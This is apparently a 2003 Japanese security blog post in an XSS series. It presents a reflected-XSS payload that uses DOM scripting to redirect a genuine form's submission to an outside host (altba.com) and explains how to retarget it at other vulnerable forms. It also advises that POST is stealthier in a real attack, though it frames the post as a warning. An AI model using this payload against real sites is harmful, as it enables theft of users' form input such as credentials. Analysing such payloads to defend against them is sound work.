DOM万歳(XSS大王つづき)
2003年6月24日(火曜日)
DOM万歳(XSS大王つづき)
いろいろいじっていて、こういう exploit を思いつきました。
"><script>document.getElementsByTagName("form")[1].setAttribute("action","http://altba.com");document.getElementsByTagName("form")[1].setAttribute("method","get")</script><span
フォームは本物なのですが、その送り先だけを DOM なスクリプトで改竄するという荒技です。method は書き換えなくても良いのですが、http://altba.com/ が GET しか受け付けないのでこうしてみました。あとは GET にすると入力値が URL として表示されますので、漏洩していることがわかりやすいというメリットもあります。もちろん、実際の犯行時は POST のままの方がバレにくいです。
……こんなのが何処で使えるのかはいちおうナイショにしておきますが、要するにまだ残っているということです。
※というか、実は office さんに教えてもらったところだったり……。
これの良いところ (!?) は、他の脆弱なフォームにも応用が利いてしまうという点です。ターゲットの form の場所に応じて [1] を [0] にしたりするだけで、ほとんどのフォームに応用できます。普通のフォーム捏造だと本物を隠したりするのが面倒だったりするのですが、これならその心配全くなし。文字列の中に空白が含まれていないのもポイント高いです。ただし DOM に対応していないブラウザだとか、スクリプト無効環境では効果がないのが難点ではあります。
……まあ、ちょっと悪ふざけが過ぎる感じもしますが、「こんなこともできてしまうので警戒しましょうね」ということでひとつ。
- 「DOM万歳(XSS大王つづき)」へのコメント (8件)
- 前(古い): XSS大王その後
- 次(新しい): とりまとめてください